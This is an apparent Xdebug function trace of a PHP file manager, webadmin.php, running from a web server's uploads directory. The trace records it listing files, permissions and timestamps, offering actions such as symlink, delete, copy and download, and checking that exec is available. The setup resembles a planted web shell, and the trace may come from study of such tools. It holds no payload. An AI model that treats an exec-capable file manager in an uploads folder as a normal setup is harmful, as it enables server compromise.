4	292	0	0.015214	802320	sizeof	0		/var/www/html/uploads/webadmin.php	1360	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	292	1	0.015231	802352
4	292	R			4
4	293	0	0.015245	802416	str_repeat	0		/var/www/html/uploads/webadmin.php	1363	2	'&nbsp;'	30
4	293	1	0.015259	802704
4	293	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	294	0	0.015276	802384	word	1		/var/www/html/uploads/webadmin.php	1367	1	'create_symlink'
5	295	0	0.015290	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create symlink'	2	'UTF-8'
5	295	1	0.015306	802656
5	295	R			'create symlink'
4	294	1	0.015321	802544
4	294	R			'create symlink'
4	296	0	0.015335	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'delete'
5	297	0	0.015349	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	297	1	0.015364	802648
5	297	R			'delete'
4	296	1	0.015378	802536
4	296	R			'delete'
4	298	0	0.015391	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'rename'
5	299	0	0.015404	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'rename'	2	'UTF-8'
5	299	1	0.015426	802648
5	299	R			'rename'
4	298	1	0.015440	802536
4	298	R			'rename'
4	300	0	0.015454	802368	word	1		/var/www/html/uploads/webadmin.php	1367	1	'move'
5	301	0	0.015468	802368	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	301	1	0.015482	802640
5	301	R			'move'
4	300	1	0.015496	802528
4	300	R			'move'
3		A						/var/www/html/uploads/webadmin.php	1249	$i++
4	302	0	0.015520	802320	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	302	1	0.015594	802352
4	302	R			6
3		A						/var/www/html/uploads/webadmin.php	1250	$file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	303	0	0.015634	802320	date	0		/var/www/html/uploads/webadmin.php	1252	2	'n/j/y H:i:s'	1676255997
4	303	1	0.015671	802648
4	303	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1252	$timestamps = 'mtime: 2/12/23 21:39:57, '
4	304	0	0.015698	802264	date	0		/var/www/html/uploads/webadmin.php	1253	2	'n/j/y H:i:s'	1676255997
4	304	1	0.015729	802592
4	304	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1253	$timestamps .= 'atime: 2/12/23 21:39:57, '
4	305	0	0.015755	802288	date	0		/var/www/html/uploads/webadmin.php	1254	2	'n/j/y H:i:s'	1676255997
4	305	1	0.015786	802616
4	305	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1254	$timestamps .= 'ctime: 2/12/23 21:39:57'
4	306	0	0.015812	802512	html	1		/var/www/html/uploads/webadmin.php	1258	1	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5	307	0	0.015827	802512	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'	2	NULL
5	307	1	0.015845	802816
5	307	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	306	1	0.015860	802704
4	306	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	308	0	0.015878	802376	urlencode	0		/var/www/html/uploads/webadmin.php	1281	1	'/var/www/html/uploads/data'
4	308	1	0.015892	802472
4	308	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fdata'
4	309	0	0.015908	802416	html	1		/var/www/html/uploads/webadmin.php	1281	1	'data'
5	310	0	0.015921	802416	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'data'	2	NULL
5	310	1	0.015935	802688
5	310	R			'data'
4	309	1	0.015949	802576
4	309	R			'data'
4	311	0	0.015963	802320	human_filesize	1		/var/www/html/uploads/webadmin.php	1304	1	4096
4		A						/var/www/html/uploads/webadmin.php	1153	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/webadmin.php	1155	$n = 0
4		A						/var/www/html/uploads/webadmin.php	1157	$filesize /= 1024
4		A						/var/www/html/uploads/webadmin.php	1158	$n++
5	312	0	0.016019	802320	strpos	0		/var/www/html/uploads/webadmin.php	1161	2	4	'.'
5	312	1	0.016032	802392
5	312	R			FALSE
5	313	0	0.016046	802320	round	0		/var/www/html/uploads/webadmin.php	1161	2	4	3
5	313	1	0.016059	802392
5	313	R			4
4		A						/var/www/html/uploads/webadmin.php	1161	$filesize = 4
5	314	0	0.016082	802320	strpos	0		/var/www/html/uploads/webadmin.php	1163	2	4	'.'
5	314	1	0.016096	802648
5	314	R			FALSE
5	315	0	0.016109	802320	substr	0		/var/www/html/uploads/webadmin.php	1169	3	'kMGTPE'	0	1
5	315	1	0.016123	802416
5	315	R			'k'
4		A						/var/www/html/uploads/webadmin.php	1169	$suffix = 'k'
4	311	1	0.016148	802352
4	311	R			'4 kB'
3		A						/var/www/html/uploads/webadmin.php	1304	$human = ' title="4 kB"'
4	316	0	0.016174	802320	decoct	0		/var/www/html/uploads/webadmin.php	1315	1	16895
4	316	1	0.016187	802392
4	316	R			'40777'
4	317	0	0.016201	802320	function_exists	0		/var/www/html/uploads/webadmin.php	1317	1	'posix_getuid'
4	317	1	0.016218	802360
4	317	R			TRUE
4	318	0	0.016232	802320	posix_getuid	0		/var/www/html/uploads/webadmin.php	1317	0
4	318	1	0.016245	802320
4	318	R			33
3		A						/var/www/html/uploads/webadmin.php	1317	$l = FALSE
4	319	0	0.016268	802320	permission_octal2string	1		/var/www/html/uploads/webadmin.php	1319	1	16895
4		A						/var/www/html/uploads/webadmin.php	970	$type = 'd'
4		A						/var/www/html/uploads/webadmin.php	979	$owner = 'r'
4		A						/var/www/html/uploads/webadmin.php	980	$owner .= 'w'
4		A						/var/www/html/uploads/webadmin.php	984	$owner .= 'x'
4		A						/var/www/html/uploads/webadmin.php	987	$group = 'r'
4		A						/var/www/html/uploads/webadmin.php	988	$group .= 'w'
4		A						/var/www/html/uploads/webadmin.php	992	$group .= 'x'
4		A						/var/www/html/uploads/webadmin.php	995	$other = 'r'
4		A						/var/www/html/uploads/webadmin.php	996	$other .= 'w'
4		A						/var/www/html/uploads/webadmin.php	1000	$other .= 'x'
4	319	1	0.016384	802360
4	319	R			'drwxrwxrwx'
4	320	0	0.016398	802360	html	1		/var/www/html/uploads/webadmin.php	1319	1	'drwxrwxrwx'
5	321	0	0.016412	802360	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'drwxrwxrwx'	2	NULL
5	321	1	0.016427	802632
5	321	R			'drwxrwxrwx'
4	320	1	0.016441	802520
4	320	R			'drwxrwxrwx'
4	322	0	0.016456	802320	array_key_exists	0		/var/www/html/uploads/webadmin.php	1324	2	'owner_name'	['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	322	1	0.016485	802384
4	322	R			TRUE
4	323	0	0.016499	802320	array_key_exists	0		/var/www/html/uploads/webadmin.php	1330	2	'group_name'	['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	323	1	0.016527	802384
4	323	R			TRUE
4	324	0	0.016541	802416	html	1		/var/www/html/uploads/webadmin.php	1339	1	'/var/www/html/uploads/data'
5	325	0	0.016555	802416	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/data'	2	NULL
5	325	1	0.016570	802688
5	325	R			'/var/www/html/uploads/data'
4	324	1	0.016585	802576
4	324	R			'/var/www/html/uploads/data'
3		A						/var/www/html/uploads/webadmin.php	1342	$actions = []
4	326	0	0.016611	801944	function_exists	0		/var/www/html/uploads/webadmin.php	1343	1	'symlink'
4	326	1	0.016624	801984
4	326	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1344	$actions[] = 'create_symlink'
4	327	0	0.016649	802320	dirname	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads/data'
4	327	1	0.016662	802408
4	327	R			'/var/www/html/uploads'
4	328	0	0.016676	802376	is_writable	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads'
4	328	1	0.016694	802416
4	328	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1347	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1348	$actions[] = 'rename'
3		A						/var/www/html/uploads/webadmin.php	1349	$actions[] = 'move'
4	329	0	0.016739	802320	function_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'exec'
4	329	1	0.016752	802360
4	329	R			TRUE
4	330	0	0.016766	802320	sizeof	0		/var/www/html/uploads/webadmin.php	1360	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	330	1	0.016783	802352
4	330	R			4
4	331	0	0.016796	802416	str_repeat	0		/var/www/html/uploads/webadmin.php	1363	2	'&nbsp;'	30
4	331	1	0.016810	802704
4	331	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	332	0	0.016826	802384	word	1		/var/www/html/uploads/webadmin.php	1367	1	'create_symlink'
5	333	0	0.016839	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create symlink'	2	'UTF-8'
5	333	1	0.016855	802656
5	333	R			'create symlink'
4	332	1	0.016869	802544
4	332	R			'create symlink'
4	334	0	0.016884	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'delete'
5	335	0	0.016897	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	335	1	0.016915	802648
5	335	R			'delete'
4	334	1	0.016929	802536
4	334	R			'delete'
4	336	0	0.016943	802376	word	1		/var/www/html/uploads/webadmin.php	1367	1	'rename'
5	337	0	0.016956	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'rename'	2	'UTF-8'
5	337	1	0.016969	802648
5	337	R			'rename'
4	336	1	0.016983	802536
4	336	R			'rename'
4	338	0	0.016996	802368	word	1		/var/www/html/uploads/webadmin.php	1367	1	'move'
5	339	0	0.017009	802368	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	339	1	0.017023	802640
5	339	R			'move'
4	338	1	0.017036	802528
4	338	R			'move'
3		A						/var/www/html/uploads/webadmin.php	1249	$i++
4	340	0	0.017060	802320	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	340	1	0.017131	802352
4	340	R			6
3		A						/var/www/html/uploads/webadmin.php	1250	$file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	341	0	0.017172	802320	date	0		/var/www/html/uploads/webadmin.php	1252	2	'n/j/y H:i:s'	1676255997
4	341	1	0.017204	802648
4	341	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1252	$timestamps = 'mtime: 2/12/23 21:39:57, '
4	342	0	0.017231	802264	date	0		/var/www/html/uploads/webadmin.php	1253	2	'n/j/y H:i:s'	1676255997
4	342	1	0.017261	802592
4	342	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1253	$timestamps .= 'atime: 2/12/23 21:39:57, '
4	343	0	0.017288	802288	date	0		/var/www/html/uploads/webadmin.php	1254	2	'n/j/y H:i:s'	1676255997
4	343	1	0.017318	802616
4	343	R			'2/12/23 21:39:57'
3		A						/var/www/html/uploads/webadmin.php	1254	$timestamps .= 'ctime: 2/12/23 21:39:57'
4	344	0	0.017345	802512	html	1		/var/www/html/uploads/webadmin.php	1258	1	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
5	345	0	0.017359	802512	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'	2	NULL
5	345	1	0.017376	802816
5	345	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	344	1	0.017392	802704
4	344	R			'mtime: 2/12/23 21:39:57, atime: 2/12/23 21:39:57, ctime: 2/12/23 21:39:57'
4	346	0	0.017552	802320	substr	0		/var/www/html/uploads/webadmin.php	1289	3	'.htaccess'	0	1
4	346	1	0.017569	802416
4	346	R			'.'
4	347	0	0.017584	802400	urlencode	0		/var/www/html/uploads/webadmin.php	1296	1	'/var/www/html/uploads/.htaccess'
4	347	1	0.017598	802512
4	347	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.htaccess'
4	348	0	0.017615	802432	html	1		/var/www/html/uploads/webadmin.php	1296	1	'.htaccess'
5	349	0	0.017628	802432	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'.htaccess'	2	NULL
5	349	1	0.017642	802704
5	349	R			'.htaccess'
4	348	1	0.017656	802592
4	348	R			'.htaccess'
3		A						/var/www/html/uploads/webadmin.php	1306	$human = ''
4	350	0	0.017683	802280	decoct	0		/var/www/html/uploads/webadmin.php	1315	1	33188
4	350	1	0.017696	802352
4	350	R			'100644'
4	351	0	0.017709	802280	function_exists	0		/var/www/html/uploads/webadmin.php	1317	1	'posix_getuid'
4	351	1	0.017723	802320
4	351	R			TRUE
4	352	0	0.017736	802280	posix_getuid	0		/var/www/html/uploads/webadmin.php	1317	0
4	352	1	0.017749	802280
4	352	R			33
3		A						/var/www/html/uploads/webadmin.php	1317	$l = FALSE
4	353	0	0.017772	802280	permission_octal2string	1		/var/www/html/uploads/webadmin.php	1319	1	33188
4		A						/var/www/html/uploads/webadmin.php	966	$type = '-'
4		A						/var/www/html/uploads/webadmin.php	979	$owner = 'r'
4		A						/var/www/html/uploads/webadmin.php	980	$owner .= 'w'
4		A						/var/www/html/uploads/webadmin.php	984	$owner .= '-'
4		A						/var/www/html/uploads/webadmin.php	987	$group = 'r'
4		A						/var/www/html/uploads/webadmin.php	988	$group .= '-'
4		A						/var/www/html/uploads/webadmin.php	992	$group .= '-'
4		A						/var/www/html/uploads/webadmin.php	995	$other = 'r'
4		A						/var/www/html/uploads/webadmin.php	996	$other .= '-'
4		A						/var/www/html/uploads/webadmin.php	1000	$other .= '-'
4	353	1	0.017893	802320
4	353	R			'-rw-r--r--'
4	354	0	0.017907	802320	html	1		/var/www/html/uploads/webadmin.php	1319	1	'-rw-r--r--'
5	355	0	0.017920	802320	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'-rw-r--r--'	2	NULL
5	355	1	0.017935	802592
5	355	R			'-rw-r--r--'
4	354	1	0.017949	802480
4	354	R			'-rw-r--r--'
4	356	0	0.017963	802280	array_key_exists	0		/var/www/html/uploads/webadmin.php	1324	2	'owner_name'	['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	356	1	0.017993	802344
4	356	R			TRUE
4	357	0	0.018007	802280	array_key_exists	0		/var/www/html/uploads/webadmin.php	1330	2	'group_name'	['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	357	1	0.018035	802344
4	357	R			TRUE
4	358	0	0.018049	802376	html	1		/var/www/html/uploads/webadmin.php	1339	1	'/var/www/html/uploads/.htaccess'
5	359	0	0.018063	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/.htaccess'	2	NULL
5	359	1	0.018079	802648
5	359	R			'/var/www/html/uploads/.htaccess'
4	358	1	0.018094	802536
4	358	R			'/var/www/html/uploads/.htaccess'
3		A						/var/www/html/uploads/webadmin.php	1342	$actions = []
4	360	0	0.018120	801904	function_exists	0		/var/www/html/uploads/webadmin.php	1343	1	'symlink'
4	360	1	0.018134	801944
4	360	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1344	$actions[] = 'create_symlink'
4	361	0	0.018158	802280	dirname	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads/.htaccess'
4	361	1	0.018172	802368
4	361	R			'/var/www/html/uploads'
4	362	0	0.018186	802336	is_writable	0		/var/www/html/uploads/webadmin.php	1346	1	'/var/www/html/uploads'
4	362	1	0.018211	802376
4	362	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1347	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1348	$actions[] = 'rename'
3		A						/var/www/html/uploads/webadmin.php	1349	$actions[] = 'move'
3		A						/var/www/html/uploads/webadmin.php	1352	$actions[] = 'copy'
3		A						/var/www/html/uploads/webadmin.php	1353	$actions[] = 'download'
4	363	0	0.018279	802280	function_exists	0		/var/www/html/uploads/webadmin.php	1356	1	'exec'
4	363	1	0.018292	802320
4	363	R			TRUE
4	364	0	0.018305	802280	sizeof	0		/var/www/html/uploads/webadmin.php	1360	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4	364	1	0.018324	802312
4	364	R			6
4	365	0	0.018337	802376	str_repeat	0		/var/www/html/uploads/webadmin.php	1363	2	'&nbsp;'	30
4	365	1	0.018350	802664
4	365	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	366	0	0.018366	802344	word	1		/var/www/html/uploads/webadmin.php	1367	1	'create_symlink'
5	367	0	0.018380	802344	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create symlink'	2	'UTF-8'
5	367	1	0.018396	802616
5	367	R			'create symlink'
4	366	1	0.018411	802504
4	366	R			'create symlink'
4	368	0	0.018425	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'delete'
5	369	0	0.018438	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	369	1	0.018452	802608
5	369	R			'delete'
4	368	1	0.018466	802496
4	368	R			'delete'
4	370	0	0.018480	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'rename'
5	371	0	0.018493	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'rename'	2	'UTF-8'
5	371	1	0.018507	802608
5	371	R			'rename'
4	370	1	0.018521	802496
4	370	R			'rename'
4	372	0	0.018534	802328	word	1		/var/www/html/uploads/webadmin.php	1367	1	'move'
5	373	0	0.018552	802328	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	373	1	0.018566	802600
5	373	R			'move'
4	372	1	0.018580	802488
4	372	R			'move'
4	374	0	0.018594	802328	word	1		/var/www/html/uploads/webadmin.php	1367	1	'copy'
5	375	0	0.018607	802328	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'copy'	2	'UTF-8'
5	375	1	0.018624	802600
5	375	R			'copy'
4	374	1	0.018638	802488
4	374	R			'copy'
4	376	0	0.018699	802336	word	1		/var/www/html/uploads/webadmin.php	1367	1	'download'
5	377	0	0.018717	802336	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'download'	2	'UTF-8'
5	377	1	0.018732	802608
5	377	R			'download'
4	376	1	0.018746	802496
4	376	R			'download'
3		A						/var/www/html/uploads/webadmin.php	1249	$i++
4	378	0	0.018770	802280	sizeof	0		/var/www/html/uploads/webadmin.php	1249	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	378	1	0.018842	802312
4	378	R			6
